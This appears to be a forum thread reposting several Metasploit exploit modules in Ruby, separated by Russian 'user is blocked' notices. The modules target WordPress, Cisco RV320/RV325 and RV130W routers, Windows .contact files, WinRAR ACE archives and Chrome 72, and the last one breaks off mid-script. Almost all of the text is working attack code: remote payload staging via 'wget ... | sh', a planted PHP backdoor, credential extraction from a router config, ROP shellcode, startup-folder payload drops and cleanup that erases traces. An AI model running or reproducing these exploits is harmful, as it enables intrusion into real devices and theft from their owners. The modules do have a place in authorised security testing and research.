    fail_with(Failure::NotFound, 'Unable to retrieve response to base64 command') unless res && res.code == 200 && !res.body.empty?

    fail_with(Failure::NotFound, "Can't find base64 decode on target") unless res.body.include?("base64spotted")
    # Execute payload with base64 decode
    @backdoor = Rex::Text.rand_text_alpha(10)
    encoded = Rex::Text.encode_base64(payload.encoded)
    res = send_request_cgi!(
      'method'   => 'GET',
      'uri'      => uri,
      'cookie' => cookie,
      'vars_get' => {
        'p' => post_id,
        '0' => "echo #{encoded} | base64 -d > #{@backdoor}.php"
      }
    )

    fail_with(Failure::NotFound, 'Failed to send payload to target') unless res && res.code == 200 && !res.body.empty?
    send_request_cgi(
      'method'  =>  'GET',
      'uri'     =>  normalize_uri(datastore['TARGETURI'], "#{@backdoor}.php"),
      'cookie'  =>  cookie
    )
  end

  def wp_cleanup(shell_name, post_id, cookie)
    print_status('Attempting to clean up files...')
    uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'admin-ajax.php')
    res = send_request_cgi(
      'method'    => 'POST',
      'uri'       => uri,
      'cookie'    => cookie,
      'vars_post'  => { 'action' => "query-attachments" }
    )

    fail_with(Failure::NotFound, 'Failed to receive a response for uploaded file') unless res && res.code == 200 && !res.body.empty?
    infos = res.body.scan(/id":(\d+),.*filename":"cropped-#{shell_name}".*?"delete":"(\w+)".*"id":(\d+),.*filename":"cropped-x".*?"delete":"(\w+)".*"id":(\d+),.*filename":"#{shell_name}".*?"delete":"(\w+)"/).flatten
    id1, id2, id3 = infos[0], infos[2], infos[4]
    delete_nonce1, delete_nonce2, delete_nonce3 = infos[1], infos[3], infos[5]
    for i in (0...6).step(2)
      res = send_request_cgi(
        'method'    => 'POST',
        'uri'       => uri,
        'cookie'    => cookie,
        'vars_post'  => {
            'action' => "delete-post",
            'id'     => infos[i],
            '_wpnonce' => infos[i+1]
        }
      )
    end

    uri1 = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'edit.php')
    res = send_request_cgi(
      'method'    => 'GET',
      'uri'       => uri1,
      'cookie'    => cookie
    )

    if res && res.code == 200 && res.body && !res.body.empty?
      post_nonce = res.body.scan(/post=#{post_id}&action=trash&_wpnonce=(\w+)/).flatten.first
      fail_with(Failure::NotFound, 'Unable to retrieve post nonce') unless post_nonce
      uri2 = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'post.php')

      res = send_request_cgi(
        'method'    => 'GET',
        'uri'       => uri2,
        'cookie'    => cookie,
        'vars_get'  => {
          'post'     => post_id,
          'action'   => 'trash',
          '_wpnonce' => post_nonce
        }
      )

      fail_with(Failure::NotFound, 'Unable to retrieve response') unless res && res.code == 302
      res = send_request_cgi(
        'method'    => 'GET',
        'uri'       => uri1,
        'cookie'    => cookie,
        'vars_get'  => {
          'post_status' => "trash",
          'post_type'   => 'post',
          '_wpnonce' => post_nonce
        }
      )

      if res && res.code == 200 && res.body && !res.body.empty?
        nonce = res.body.scan(/post=#{post_id}&action=delete&_wpnonce=(\w+)/).flatten.first
        fail_with(Failure::NotFound, 'Unable to retrieve nonce') unless nonce

        send_request_cgi(
          'method'    => 'GET',
          'uri'       => uri2,
          'cookie'    => cookie,
          'vars_get'  => {
            'post'     => post_id,
            'action'   => 'delete',
            '_wpnonce' => nonce
          }
        )
      end
    end
  end

  def exploit
    fail_with(Failure::NotFound, 'The target does not appear to be using WordPress') unless wordpress_and_online?

    print_status("Authenticating with WordPress using #{username}:#{password}...")
    cookie = wordpress_login(username, password)
    fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress') if cookie.nil?
    print_good("Authenticated with WordPress")
    store_valid_credential(user: username, private: password, proof: cookie)

    print_status("Preparing payload...")
    @current_theme = get_current_theme
    wp_nonce = get_wpnonce(cookie)
    @current_date = Time.now.strftime("%Y/%m/")

    img_name = Rex::Text.rand_text_alpha(10)
    @filename1, image_id, update_nonce = upload_file(img_name, wp_nonce, cookie)
    ajax_nonce = get_ajaxnonce(cookie)

    @filename1 = image_editor(img_name, ajax_nonce, image_id, cookie)
    wpnonce2 = get_wpnonce2(image_id, cookie)

    change_path(wpnonce2, image_id, @filename1, @current_date, '?/x', cookie)
    crop_image(image_id, ajax_nonce, cookie)

    @shell_name = Rex::Text.rand_text_alpha(10)
    change_path(wpnonce2, image_id, @filename1, @current_date, "?/../../../../themes/#{@current_theme}/#{@shell_name}", cookie)
    crop_image(image_id, ajax_nonce, cookie)

    print_status("Including into theme")
    post_id = include_theme(@shell_name, cookie)

    check_for_base64(cookie, post_id)
    wp_cleanup(@shell_name, post_id, cookie)
  end

  def on_new_session(client)
    client.shell_command_token("rm wp-content/uploads/#{@current_date}#{@filename1[0...10]}*")
    client.shell_command_token("rm wp-content/uploads/#{@current_date}cropped-#{@filename1[0...10]}*")
    client.shell_command_token("rm -r wp-content/uploads/#{@current_date}#{@filename1[0...10]}*")
    client.shell_command_token("rm wp-content/themes/#{@current_theme}/cropped-#{@shell_name}.jpg")
    client.shell_command_token("rm #{@backdoor}.php")
  end
end




Cisco RV320 and RV325 - Unauthenticated Remote Code Execution

Ruby:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking


  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::CmdStager

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Cisco RV320 and RV325 Unauthenticated Remote Code Execution",
      'Description'    => %q{
        This exploit module combines an information disclosure (CVE-2019-1653)
        and a command injection vulnerability (CVE-2019-1652) together to gain
        unauthenticated remote code execution on Cisco RV320 and RV325 small business
        routers. Can be exploited via the WAN interface of the router. Either via HTTPS
        on port 443 or HTTP on port 8007 on some older firmware versions.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [
        'RedTeam Pentesting GmbH', # Discovery, Metasploit
        'Philip Huppert',          # Discovery
        'Benjamin Grap'            # Metasploit
      ],
      'References'     => [
          [ 'CVE','2019-1653' ],
          [ 'CVE','2019-1652' ],
          [ 'EDB','46243' ],
          [ 'BID','106728' ],
          [ 'BID','106732' ],
          [ 'URL', 'https://www.redteam-pentesting.de/en/advisories/rt-sa-2018-002/-cisco-rv320-unauthenticated-configuration-export' ],
          [ 'URL', 'https://www.redteam-pentesting.de/en/advisories/rt-sa-2018-004/-cisco-rv320-command-injection' ]
      ],
      'Platform'       => 'linux',
      'Targets'        =>
        [
         [ 'LINUX MIPS64',
          {
           'Platform' => 'linux',
           'Arch'     => ARCH_MIPS64
          }
         ]
        ],
      'Payload'        =>
        {
         'BadChars' => ""
        },
      'CmdStagerFlavor' => [ 'bourne' ],
      'Privileged'     => true,
      'DisclosureDate' => "Sep 9 2018",
      'DefaultTarget'  => 0))

    register_options([
      Opt::RPORT(8007), # port of Cisco webinterface
      OptString.new('URIPATH', [true, 'The path for the stager. Keep set to default! (We are limited to 50 chars for the initial command.)', '/']),
      OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 15]),
      OptBool.new('USE_SSL', [false, 'Negotiate SSL/TLS for outgoing connections', false]) # Don't use 'SSL' option to prevent HttpServer from picking this up.
    ])
    deregister_options('SSL') # prevent SSL in HttpServer and resulting payload requests since the injected wget command will not work with '--no-check-certificate' option.
    deregister_options('SSLCert') # not required since stager only uses HTTP.
  end

  def execute_command(cmd, opts = {})
    # use generated payload, we don't have to do anything here
  end

  def autofilter
    true
  end

  def on_request_uri(cli, req)
    print_status("#{peer} - Payload request received: #{req.uri}")
    @cmdstager = generate_cmdstager().join(';')
    send_response(cli, "#{@cmdstager}")
  end

  def primer
    payload_url = get_uri
    print_status("Downloading configuration from #{peer}")
    if(datastore['USE_SSL'])
      print_status("Using SSL connection to router.")
    end
    res = send_request_cgi({
      'uri' => normalize_uri("cgi-bin","config.exp"),
      'SSL' => datastore['USE_SSL']
    })
    unless res
      vprint_error('Connection failed.')
      return nil
    end

    unless res.code == 200
      vprint_error('Could not download config. Aborting.')
      return nil
    end

    print_status("Successfully downloaded config")
    username = res.body.match(/^USERNAME=([a-zA-Z]+)/)[1]
    pass = res.body.match(/^PASSWD=(\h+)/)[1]
    authkey = "1964300002"
    print_status("Got MD5-Hash: #{pass}")
    print_status("Loging in as user #{username} using password hash.")
    print_status("Using default auth_key #{authkey}")
    res2 = send_request_cgi({
      'uri' => normalize_uri("cgi-bin","userLogin.cgi"),
      'SSL' => datastore['USE_SSL'],
      'method' => 'POST',
      'data' => "login=true&portalname=CommonPortal&password_expired=0&auth_key=#{authkey}&auth_server_pw=Y2lzY28%3D&submitStatus=0&pdStrength=1&username=#{username}&password=#{pass}&LanguageList=Deutsch&current_password=&new_password=&re_new_password="
    })

    unless res
      vprint_error('Connection failed during login. Aborting.')
      return nil
    end

    unless res.code == 200
      vprint_error('Login failed with downloaded credentials. Aborting.')
      return nil
    end

    #Extract authentication cookies
    cookies = res2.get_cookies()
    print_status("Successfully logged in as user #{username}.")
    print_status("Got cookies: #{cookies}")
    print_status("Sending payload. Staging via #{payload_url}.")
    #Build staging command
    command_string = CGI::escape("'$(wget -q -O- #{payload_url}|sh)'")
    if(command_string.length <= 63)
      print_status("Staging command length looks good. Sending exploit!")
    else
      vprint_error("Warning: Staging command length probably too long. Trying anyway...")
    end

    res3 = send_request_cgi({
      'uri' => normalize_uri("certificate_handle2.htm"),
      'SSL' => datastore['USE_SSL'],
      'method' => 'POST',
      'cookie' => cookies,
        'vars_get' => {
         'type' => '4',
        },
        'vars_post' => {
          'page' => 'self_generator.htm',
                    'totalRules' => '1',
                    'OpenVPNRules' => '30',
                    'submitStatus' => '1',
                    'log_ch' => '1',
                    'type' => '4',
                    'Country' => 'A',
                    'state' => 'A',
                    'locality' => 'A',
                    'organization' => 'A',
                    'organization_unit' => 'A',
                    'email' => 'any@example.com',
                    'KeySize' => '512',
                    'KeyLength' => '1024',
                    'valid_days' => '30',
                    'SelectSubject_c' => '1',
                    'SelectSubject_s' => '1'
        },
        'data' => "common_name=#{command_string}"
    })
    unless res3
      vprint_error('Connection failed while sending command. Aborting.')
      return nil
    end

    unless res3.code == 200
      vprint_error('Sending command not successful.')
      return nil
    end
    print_status("Sending payload timed out. Waiting for stager to connect...")
  end

  def check
    #Check if device is vulnerable by downloading the config
    res = send_request_cgi({'uri'=>normalize_uri("cgi-bin","config.exp")})

    unless res
      vprint_error('Connection failed.')
      return CheckCode::Unknown
    end

    unless res.code == 200
      return CheckCode::Safe
    end

    unless res.body =~ /PASSWD/
      return CheckCode::Detected
    end

    CheckCode::Vulnerable
  end

  def exploit
    # Main function.
    # Setting delay for the Stager.
    Timeout.timeout(datastore['HTTPDELAY']) {super}
  rescue Timeout::Error
    print_status("Waiting for stager connection timed out. Try increasing the delay.")
  end
end
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Microsoft Windows - Contact File Format Arbitary Code Execution

Ruby:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'fileutils'
require 'rex/zip'
class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Microsoft Windows Contact File Format Arbitary Code Execution',
      'Description' => %q{
        This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Microsoft Windows.
        User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The flaw is due to the processing of ".contact" files <c:Url> node param which takes an expected website value, however if an attacker references an
        executable file it will run that instead without warning instead of performing expected web navigation. This is dangerous and would be unexpected to an end user.
        Executable files can live in a sub-directory so when the ".contact" website link is clicked it traverses directories towards the executable and runs.
        Making matters worse is if the the files are compressed then downloaded "mark of the web" (MOTW) may potentially not work as expected with certain archive utilitys.
        The ".\" chars allow directory traversal to occur in order to run the attackers supplied executable sitting unseen in the attackers directory.
        This advisory is a duplicate issue that currently affects Windows .VCF files, and released for the sake of completeness as it affects Windows .contact files as well.
      },
      'Author'      =>
        [ 'John Page (aka hyp3rlinx)', # Vuln discovery
          'Brenner Little' # MSF module
        ],
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          ['EDB', '46188'],
          ['URL', 'http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-CONTACT-FILE-INSUFFECIENT-UI-WARNING-WEBSITE-LINK-ARBITRARY-CODE-EXECUTION.txt'],
          ['ZDI', '19-013']
        ],
      'DisclosureDate' => 'Jan 17 2019', # According to https://www.exploit-db.com/exploits/46188
      'Privileged'     => false,
      'Platform'       => 'win',
      'Payload'        => {
        'DisableNops' => true
      },
      'DefaultOptions' => {
        'DisablePayloadHandler' => true
      },
      'Targets'        => [['Windows', { }]],
      'DefaultTarget'  => 0
      ))
      register_options(
      [
        OptString.new('WEBSITE', [true, 'The URL that the user must click to launch the payload.', 'www.metasploit.com']),
        OptString.new('FILENAME', [true, 'The first and last name embdeed in the .CONTACT file (also used as the filename for the .CONTACT and .ZIP files)', 'John Smith']),
      ])
  end
  def exploit
    contact_full_name = "#{datastore['FILENAME']}"
    exe_filename = "#{datastore['WEBSITE']}"

    xml_header = %Q|<?xml version="1.0" encoding="UTF-8"?>
\t<c:contact c:Version="1" xmlns:c="http://schemas.microsoft.com/Contact" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:MSP2P="http://schemas.microsoft.com/Contact/Extended/MSP2P">
\t<c:CreationDate>2019-04-10T20:19:26Z</c:CreationDate><c:Extended xsi:nil="true"/>
\t|

    xml_body = %Q|
        <c:ContactIDCollection>
          <c:ContactID c:ElementID="492912d2-db87-4da2-9fb0-1a3533284d09"><c:Value>e3b2d76c-3355-4f54-b995-0ce0dcf84c8a</c:Value></c:ContactID>
        </c:ContactIDCollection>
        <c:NameCollection>
          <c:Name c:ElementID="9c47b169-4385-40e9-97cf-cc2f55544c8d">
            <c:FormattedName>CONTACT_FULL_NAME</c:FormattedName>
            <c:FamilyName>CONTACT_LAST_NAME</c:FamilyName>
            <c:GivenName>CONTACT_FIRST_NAME</c:GivenName>
          </c:Name>
        </c:NameCollection>
        <c:PhotoCollection>
          <c:Photo c:ElementID="9b2b24b3-2ce5-4553-abe1-8cb0cf7ad12e">
            <c:LabelCollection>
              <c:Label>UserTile</c:Label>
            </c:LabelCollection>
          </c:Photo>
        </c:PhotoCollection>
        <c:UrlCollection c:Version="1" c:ModificationDate="2019-04-10T21:15:00Z">
          <c:Url c:ElementID="4aca9a0f-72fd-45ff-8683-1524caafd6e9" c:Version="1" c:ModificationDate="2019-04-10T21:15:00Z">
            <c:Value c:Version="1" c:ModificationDate="2019-04-10T21:15:00Z">EXE_PATH</c:Value>
            <c:LabelCollection>
              <c:Label c:Version="1" c:ModificationDate="2019-04-10T21:15:00Z">Business</c:Label>
            </c:LabelCollection>
          </c:Url>
        </c:UrlCollection>
      </c:contact>|.gsub(/\n[ ]*/,'')

    xml = xml_header + xml_body
    xml.gsub!(/CONTACT_FULL_NAME/, contact_full_name);
    xml.gsub!(/CONTACT_LAST_NAME/, contact_full_name.split(' ')[-1]);
    xml.gsub!(/CONTACT_FIRST_NAME/, contact_full_name.split(' ')[0]);
    xml.gsub!(/EXE_PATH/, "http.\\" + exe_filename);

    exe = generate_payload_exe

    zip = Rex::Zip::Archive.new
    zip.add_file("/http/" + exe_filename, exe)
    zip.add_file(contact_full_name + ".contact", xml)
    zip.save_to(contact_full_name + ".zip")
    print_good("Created '#{contact_full_name}.zip'")
  end
end
 
Пожалуйста, обратите внимание, что пользователь заблокирован
RCE, Cisco RV130W Routers - Management Interface, CVE-2019-1663

Ruby:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

# linux/armle/meterpreter/bind_tcp -> segfault
# linux/armle/meterpreter/reverse_tcp -> segfault
# linux/armle/meterpreter_reverse_http -> works
# linux/armle/meterpreter_reverse_https -> works
# linux/armle/meterpreter_reverse_tcp -> works
# linux/armle/shell/bind_tcp -> segfault
# linux/armle/shell/reverse_tcp -> segfault
# linux/armle/shell_bind_tcp -> segfault
# linux/armle/shell_reverse_tcp -> segfault
#
class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Cisco RV130W Routers Management Interface Remote Command Execution',
      'Description'    => %q{
        A vulnerability in the web-based management interface of the Cisco RV130W Wireless-N Multifunction VPN Router
         could allow an unauthenticated, remote attacker to execute arbitrary code on an affected device.

         The vulnerability is due to improper validation of user-supplied data in the web-based management interface.
         An attacker could exploit this vulnerability by sending malicious HTTP requests to a targeted device.

         A successful exploit could allow the attacker to execute arbitrary code on the underlying operating
          system of the affected device as a high-privilege user.

        RV130W Wireless-N Multifunction VPN Router versions prior to 1.0.3.45 are affected.

        Note: successful exploitation may not result in a session, and as such,
         on_new_session will never repair the HTTP server, leading to a denial-of-service condition.
      },
      'Author'         =>
        [
          'Yu Zhang', # Initial discovery
          'Haoliang Lu', # Initial discovery
          'T. Shiomitsu', # Initial discovery
          'Quentin Kaiser <kaiserquentin@gmail.com>' # Vulnerability analysis & exploit dev
        ],
      'License'         => MSF_LICENSE,
      'Platform'        =>  %w[linux],
      'Arch'            =>  [ARCH_ARMLE],
      'SessionTypes'    =>  %w[meterpreter],
      'CmdStagerFlavor' => %w{ wget },
      'Privileged'      => true, # BusyBox
      'References'      =>
        [
          ['CVE', '2019-1663'],
          ['BID', '107185'],
          ['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190227-rmi-cmd-ex'],
        ],
      'DefaultOptions' => {
          'WfsDelay' => 10,
          'SSL' => true,
          'RPORT' => 443,
          'CMDSTAGER::FLAVOR' => 'wget',
          'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp',
       },
      'Targets'        =>
        [
          [ 'Cisco RV130/RV130W < 1.0.3.45',
            {
              'offset'          => 446,
              'libc_base_addr'  => 0x357fb000,
              'system_offset'   => 0x0004d144,
              'gadget1'         => 0x00020e79, # pop {r2, r6, pc};
              'gadget2'         => 0x00041308, # mov r0, sp; blx r2;
              'Arch'            => ARCH_ARMLE,
            }
          ],
        ],
      'DisclosureDate'  => 'Feb 27 2019',
      'DefaultTarget'   => 0,
      'Notes' => {
        'Stability'   => [ CRASH_SERVICE_DOWN, ],
      },
    ))
  end

  def p(offset)
    [(target['libc_base_addr'] + offset).to_s(16)].pack('H*').reverse
  end

  def prepare_shellcode(cmd)
    #All these gadgets are from /lib/libc.so.0
    shellcode = rand_text_alpha(target['offset']) +       # filler
      p(target['gadget1']) +
      p(target['system_offset']) +                        # r2
      rand_text_alpha(4) +                                # r6
      p(target['gadget2']) +                              # pc
      cmd
    shellcode
  end

  def send_request(buffer)
    begin
      send_request_cgi({
        'uri'     => '/login.cgi',
        'method'  => 'POST',
        'vars_post' => {
              "submit_button": "login",
              "submit_type": "",
              "gui_action": "",
              "wait_time": 0,
              "change_action": "",
              "enc": 1,
              "user": rand_text_alpha_lower(5),
              "pwd": buffer,
              "sel_lang": "EN"
          }
      })
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the router")
    end
  end

  def exploit
    print_status('Sending request')
    execute_cmdstager
  end

  def execute_command(cmd, opts = {})
    shellcode = prepare_shellcode(cmd.to_s)
    send_request(shellcode)
  end

  def on_new_session(session)
    # Given there is no process continuation here, the httpd server will stop
    # functioning properly and we need to take care of proper restart
    # ourselves.
    print_status("Reloading httpd service")
    reload_httpd_service = "killall httpd && cd /www && httpd && httpd -S"
    if session.type.to_s.eql? 'meterpreter'
      session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'
      session.sys.process.execute '/bin/sh', "-c \"#{reload_httpd_service}\""
    else
      session.shell_command(reload_httpd_service)
    end
  ensure
    super
  end
end
 
Пожалуйста, обратите внимание, что пользователь заблокирован
RARLAB WinRAR ACE Format Input Validation Remote Code Execution

Ruby:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
#
# TODO: add other non-payload files

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'RARLAB WinRAR ACE Format Input Validation Remote Code Execution',
      'Description'    => %q{
        In WinRAR versions prior to and including 5.61, there is path traversal vulnerability
        when crafting the filename field of the ACE format (in UNACEV2.dll). When the filename
        field is manipulated with specific patterns, the destination (extraction) folder is
        ignored, thus treating the filename as an absolute path. This module will attempt to
        extract a payload to the startup folder of the current user. It is limited such that
        we can only go back one folder. Therefore, for this exploit to work properly, the user
        must extract the supplied RAR file from one folder within the user profile folder
        (e.g. Desktop or Downloads). User restart is required to gain a shell.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Nadav Grossman', # exploit discovery
          'Imran E. Dawoodjee <imrandawoodjee.infosec@gmail.com>' # Metasploit module
        ],
      'References'     =>
        [
          ['CVE', '2018-20250'],
          ['EDB', '46552'],
          ['BID', '106948'],
          ['URL', 'https://research.checkpoint.com/extracting-code-execution-from-winrar/'],
          ['URL', 'https://apidoc.roe.ch/acefile/latest/'],
          ['URL', 'http://www.hugi.scene.org/online/coding/hugi%2012%20-%20coace.htm'],
        ],
      'Platform'       => 'win',
      'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' },
      'Targets'        =>
        [
          [ 'RARLAB WinRAR <= 5.61', {} ]
        ],
      'DisclosureDate' => 'Feb 05 2019',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME', [ true, 'The output file name.', 'msf.ace']),
        OptString.new('CUSTFILE', [ false, 'User-defined custom payload', '']),
        OptString.new('FILE_LIST', [false, 'List of other non-payload files to add', ''])
      ])

  end

  def exploit
    ace_header = ""
    # All hex values are already in little endian.
    # HEAD_CRC: Lower 2 bytes of CRC32 of 49 bytes of header after HEAD_TYPE.
    # The bogus value for HEAD_CRC will be replaced later.
    ace_header << "AA"
    # HEAD_SIZE: header size. \x31\x00 says 49.
    ace_header << "\x31\x00"
    # HEAD_TYPE: header type. Archive header is 0.
    ace_header << "\x00"
    # HEAD_FLAGS: header flags
    ace_header << "\x00\x90"
    # ACE magic
    ace_header << "\x2A\x2A\x41\x43\x45\x2A\x2A"
    # VER_EXTRACT: version needed to extract archive
    ace_header << "\x14"
    # VER_CREATED: version used to create archive
    ace_header << "\x14"
    # HOST_CREATED: host OS for ACE used to create archive
    ace_header << "\x02"
    # VOLUME_NUM: which volume of a multi-volume archive?
    ace_header << "\x00"
    # TIME_CREATED: date and time in MS-DOS format
    ace_header << "\x10\x18\x56\x4E"
    # RESERVED1
    ace_header << "\x97\x4F\xF6\xAA\x00\x00\x00\x00"
    # AV_SIZE: advert size
    ace_header << "\x16"
    # AV: advert which shows if registered/unregistered.
    # Full advert says "*UNREGISTERED VERSION*"
    ace_header << "\x2A\x55\x4E\x52\x45\x47\x49\x53\x54\x45\x52\x45\x44\x20\x56\x45\x52\x53\x49\x4F\x4E\x2A"

    # calculate the CRC32 of ACE header, and get the lower 2 bytes
    ace_header_crc32 = crc32(ace_header[4, ace_header.length]).to_s(16)
    ace_header_crc16 = ace_header_crc32.last(4).to_i(base=16)
    ace_header[0,2] = [ace_header_crc16].pack("v")

    # start putting the ACE file together
    ace_file = ""
    ace_file << ace_header

    # create headers and append file data after header
    unless datastore["FILE_LIST"].empty?
      print_status("Using the provided list of files @ #{datastore["FILE_LIST"]}...")
      File.binread(datastore["FILE_LIST"]).each_line do |file|
        file = file.chomp
        file_header_and_data = create_file_header_and_data(file, false, false)
        ace_file << file_header_and_data
      end
    end

    # autogenerated payload
    if datastore["CUSTFILE"].empty?
      payload_filename = ""
      # 72 characters
      payload_filename << "C:\\C:C:../AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\"
      # 6 characters
      payload_filename << rand_text_alpha(6)
      # 4 characters
      payload_filename << ".exe"
      payload_file_header = create_file_header_and_data(payload_filename, true, false)
    # user-defined payload
    else
      print_status("Using a custom payload: #{::File.basename(datastore["CUSTFILE"])}")
      payload_filename = ""
      # 72 characters
      payload_filename << "C:\\C:C:../AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\"
      # n characters
      payload_filename << ::File.basename(datastore["CUSTFILE"])
      payload_file_header = create_file_header_and_data(payload_filename, true, true)
    end

    vprint_status("Payload filename: #{payload_filename.from(72)}")

    # append payload file header and the payload itself into the rest of the data
    ace_file << payload_file_header
    # create the file
    file_create(ace_file)
  end

  # The CRC implementation used in ACE does not take the last step in calculating CRC32.
  # That is, it does not flip the bits. Therefore, it can be easily calculated by taking
  # the negative bitwise OR of the usual CRC and then subtracting one from it. This is due to
  # the way the bitwise OR works in Ruby: unsigned integers are not a thing in Ruby, so
  # applying a bitwise OR on an integer will produce its negative + 1.
  def crc32(data)
    table = Zlib.crc_table
    crc = 0xffffffff
    data.unpack('C*').each { |b|
      crc = table[(crc & 0xff) ^ b] ^ (crc >> 8)
    }
    -(~crc) - 1
  end

  # create file headers for each file to put into the output ACE file
  def create_file_header_and_data(path, is_payload, is_custom_payload)
    #print_status("Length of #{path}: #{path.length}")
    if is_payload and is_custom_payload
      file_data = File.binread(path.from(72))
    elsif is_payload and !is_custom_payload
      file_data = generate_payload_exe
    else
      file_data = File.binread(File.basename(path))
    end

    file_data_crc32 = crc32(file_data).to_i

    # HEAD_CRC: Lower 2 bytes of CRC32 of the next bytes of header after HEAD_TYPE.
    # The bogus value for HEAD_CRC will be replaced later.
    file_header = ""
    file_header << "AA"
    # HEAD_SIZE: file header size.
    if is_payload
      file_header << [31 + path.length].pack("v")
    else
      file_header << [31 + ::File.basename(path).length].pack("v")
    end
    # HEAD_TYPE: header type is 1.
    file_header << "\x01"
    # HEAD_FLAGS: header flags. \x01\x80 is ADDSIZE|SOLID.
    file_header << "\x01\x80"
    # PACK_SIZE: size when packed.
    file_header << [file_data.length].pack("V")
    #print_status("#{file_data.length}")
    # ORIG_SIZE: original size. Same as PACK_SIZE since no compression is *truly* taking place.
    file_header << [file_data.length].pack("V")
    # FTIME: file date and time in MS-DOS format
    file_header << "\x63\xB0\x55\x4E"
    # ATTR: DOS/Windows file attribute bit field, as int, as produced by the Windows GetFileAttributes() API.
    file_header << "\x20\x00\x00\x00"
    # CRC32: CRC32 of the compressed file
    file_header << [file_data_crc32].pack("V")
    # Compression type
    file_header << "\x00"
    # Compression quality
    file_header << "\x03"
    # Parameter for decompression
    file_header << "\x0A\x00"
    # RESERVED1
    file_header << "\x54\x45"
    # FNAME_SIZE: size of filename string
    if is_payload
      file_header << [path.length].pack("v")
    else
      # print_status("#{::File.basename(path).length}")
      file_header << [::File.basename(path).length].pack("v")
    end
    #file_header << [path.length].pack("v")
    # FNAME: filename string. Empty for now. Fill in later.
    if is_payload
      file_header << path
    else
      file_header << ::File.basename(path)
    end

    #print_status("Calculating other_file_header...")
    file_header_crc32 = crc32(file_header[4, file_header.length]).to_s(16)
    file_header_crc16 = file_header_crc32.last(4).to_i(base=16)
    file_header[0,2] = [file_header_crc16].pack("v")
    file_header << file_data
  end
end
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Chrome 72.0.3626.119 FileReader UaF exploit for Windows 7 x86
Ruby:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::Remote::HttpServer

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Chrome 72.0.3626.119 FileReader UaF exploit for Windows 7 x86',
      'Description'    => %q{
        This exploit takes advantage of a use after free vulnerability in Google
      Chrome 72.0.3626.119 running on Windows 7 x86.
        The FileReader.readAsArrayBuffer function can return multiple references to the
      same ArrayBuffer object, which can be freed and overwritten with sprayed objects.
      The dangling ArrayBuffer reference can be used to access the sprayed objects,
      allowing arbitrary memory access from Javascript. This is used to write and
      execute shellcode in a WebAssembly object.
        The shellcode is executed within the Chrome sandbox, so you must explicitly
      disable the sandbox for the payload to be successful.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [
          'Clement Lecigne', # discovery
          'István Kurucsai', # Exodus Intel
          'timwr',           # metasploit module
        ],
      'References'     => [
          ['CVE', '2019-5786'],
          ['URL', 'https://github.com/exodusintel/CVE-2019-5786'],
          ['URL', 'https://blog.exodusintel.com/2019/03/20/cve-2019-5786-analysis-and-exploitation/'],
          ['URL', 'https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/analysis-of-a-chrome-zero-day-cve-2019-5786/'],
          ['URL', 'https://security.googleblog.com/2019/03/disclosing-vulnerabilities-to-protect.html'],
        ],
      'Arch'           => [ ARCH_X86 ],
      'Platform'       => 'windows',
      'DefaultTarget'  => 0,
      'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' },
      'Targets'        => [ [ 'Automatic', { } ] ],
      'DisclosureDate' => 'Mar 21 2019'))
  end

  def on_request_uri(cli, request)
    print_status("Sending #{request.uri}")
    if request.uri =~ %r{/exploit.html$}
      html = %Q^
<html>
    <head>
        <script>
let myWorker = new Worker('worker.js');
let reader = null;
spray = null;               // nested arrays used to hold the sprayed heap contents
let onprogress_cnt = 0;     // number of times onprogress was called in a round
let try_cnt = 0;            // number of rounds we tried
let last = 0, lastlast = 0; // last two AB results from the read
let tarray = 0;             // TypedArray constructed from the dangling ArrayBuffer
const string_size = 128 * 1024 * 1024;
let contents = String.prototype.repeat.call('Z', string_size);
let f = new File([contents], "text.txt");
